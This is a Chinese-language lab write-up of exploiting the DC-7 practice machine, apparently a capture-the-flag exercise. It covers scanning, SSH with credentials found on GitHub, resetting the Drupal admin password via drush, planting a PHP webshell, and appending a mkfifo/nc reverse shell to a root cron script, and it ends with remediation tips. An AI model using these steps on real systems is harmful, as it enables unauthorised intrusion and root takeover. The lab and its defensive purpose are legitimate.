DC-7渗透测试复现
目的:
获取最高权限以及flag
过程:
信息打点--SSH- 命令执行反弹shell-计时任务提权
环境:
攻击机:kali(192.168.85.137)
靶机:DC_3(192.168.85.139)
复现:
一.信息收集
nmap -sP 192.168.85.0/24
或者:
arp-scan -l
进一步端口扫描

发现22端口和80端口 进入80端口网页
cms为 Drupal8

二.漏洞挖掘与利用
因为cms为 Drupal8 网上搜集漏洞 发现CVE-2019-6340 Drupal8's REST RCE
尝试无果

根据收集到的信息 要我们跳出这个框架 ,发现了下面这个
百度进入github发现 账号密码
dc7user
MdR3xOgB7#dW

尝试ssh连接成功

在网站配置信息发现数据库账号密码
'username' => 'db7user',
'password' => 'yNv3Po00',
尝试mysql连接无果 好像不是用mysql连接的

然后在/home/dc7user目录下的文件,发现一个backups文件夹和一个mbox文件。
打开发现是个计时任务

Drush可以修改用户账号密码

详细可以访问
https://zhuanlan.zhihu.com/p/60880048
Gpg 加密的
我们尝试修改admin密码
drush upwd admin --password="123456"

登入
然后在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell 但是好像不行,查阅资料发现d8不支持PHP代码

那我们下这个模块就行了
在extend里面Install new module
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下完之后写入一句话木马 并且设置为PHP code
木马管理工具连
三.提权
进入终端再次进行反弹shell 就是为了方便执行命令
查看root能够怎么提权
好像没啥用,但我们拿到了www-data的权限,接下来可以编辑上面所说的backups.sh,来进行提权了

查看权限 可写

那我们直接写反弹shell提权就行了
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.85.137 3334 >/tmp/f" >> backups.sh
注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信
经验分享 | 常用linux反弹shell合集 - 知乎 (zhihu.com)

拿到flag
修复:
1.关闭22端口ssh远程连接
2.限制过滤命令执行的函数,反正上传webshell
3.必要的话关闭Drupal Shell命令服务 防止攻击者恶意破坏篡改数据库



















